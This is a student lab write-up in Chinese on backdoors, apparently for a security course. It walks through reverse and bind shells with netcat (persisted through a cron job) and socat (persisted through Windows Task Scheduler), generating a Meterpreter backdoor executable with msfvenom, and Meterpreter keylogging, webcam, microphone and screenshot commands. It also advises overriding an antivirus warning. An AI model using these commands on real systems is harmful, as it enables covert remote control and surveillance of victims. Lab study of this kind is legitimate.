后门原理及实践
一、实验前先想想这些问题
1.例举你能想到的一个后门进入到你系统中的可能方式?
- 软件中本身就含有后门
- 和软件进行捆绑,下载打开后进入系统
- 由于系统漏洞,主机被攻击了,从而被安装了后门
2.例举你知道的后门如何启动起来win及linux.的方式?
- 让用户以为是正常的软件,启动软件时后门就启动。
- Linux定时任务系统 Cron,让使用者在固定时间或固定间隔执行程序。
- Win系统 用任务计划程序来定时自动运行程序
3.Meterpreter有哪些给你映像深刻的功能?
- 记录键盘输入的字符
- 开启摄像头
- 截屏、录音
4.如何发现自己有系统有没有被安装后门?
- 系统运行速度突然变得缓慢:占用了内存和CPU资源,在后台运行了大量非法操作
- 检查系统对外开放的端口,看有没有可疑的进程使用某个端口传输数据。
netstat –an来查看所有TCP/UDP端口的连接
二、实践过程记录
开始之前我们先看看需要用到哪些工具吧o(* ̄▽ ̄*)ブ
Ncat
是一个底层工具,进行基本的TCP、UDP数据收发。常被与其他工具结合使用,起到后门的作用。Linux中一般自带ncat,可以使用man netcat或man nc可查看其使用说明
Socat
socat是ncat的增强版,它使用的格式是socat [options],其中两个address是必选项,而options是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
Meterpreter
具有强大的功能,特别是其socks代理,具体原理参考揭开Meterpreter的神秘面纱有关参数可以参考MSF,里面有介绍一些后门的生成。可以使用msfvenom -p windows/meterpreter/reverse_http lhost=172.20.10.2 lport=4322 -f c(IP为Win IP)生成shellcode,注入到可执行文件,执行时回连攻击主机。
好了好了(●'◡'●),下面正式进入实验主题
1.使用netcat获取主机操作Shell,cron启动
- 在Windows系统下,更改目录到ncat
cd C:\Users\yinkou君\Desktop\ncat\ncat
ncat.exe -l -p 4322
- 在Kali环境下,用crontab -e指令编辑一条定时任务
crontab -e
- crontab指令增加一条定时任务,-e表示编辑,选择编辑器时选择3
- 在最后一行添加* * * * * /bin/netcat 192.168.0.166 4322 -e /bin/sh意思是,每分钟反向连接Windows主机的4322端口:
- 此时已经获得了Kali的shell,可以输入想要在linux上执行的指令
2.使用socat获取主机操作Shell, 任务计划启动
- Win+R输入compmgmt.msc打开“计算机管理”
- 在“任务计划程序”中“创建任务”
- 填写任务名称,并新建一个触发器
- 在操作->新建->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:4322 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口4322,同时把cmd.exe的stderr重定向到stdout上:
- 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行
- 此时,在Kali环境下输入指令socat - tcp:192.168.62.1:4322(这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的4322端口)
- 此时可以发现已经成功获得了一个cmd shell
(这里有一个问题,任务计划必须手动点击运行后才能正确获取shell)
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
- 在Kali上执行指令(IP地址为控制端IP,即Linux的IP)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.10.130 LPORT=4322 -f exe > 20184322_backdoor.exe
- 生成了后门程序:20184322_backdoor.exe
- 通过指令将被控制主机进入接受文件模式
ncat.exe -l 4322 > 20184322_backdoor.exe
- 在Linux中执行
nc 192.168.23.1 4322 < 20184322_backdoor.exe
注意这里的IP为被控主机IP,即WindowsIP
- 传送接收文件成功
- 此时防火墙提示有严重安全威胁,一定要允许执行,不要隔离!
- 在Kali上使用msfconsole指令进入msf控制台
- 输入use exploit/multi/handler使用监听模块,设置payload
- set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
- set LHOST 192.168.10.129,这里用的是LinuxIP,和生成后门程序时指定的IP相同
- set LPORT 4322,同样要使用相同的端口
- 设置完成后,执行监听
exploit
- 双击运行Windows下的后门程序
- 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell
4.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
- 使用record_mic指令可以截获一段音频
- 使用webcam_snap指令可以使用摄像头进行拍照
- 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录
- 使用screenshot指令可以进行截屏
三、总结与体会
经过这次试验体验了一次黑客的感觉哈哈~感觉这次试验非常的有趣,本次实验的主要步骤就在于MSF这部分,这部分很容易出错,所以做了很多遍才成功。这次实验后,我的感触最深的就是要加强电脑的安全属性,经常查杀清理,还要预防防止一些恶意软件。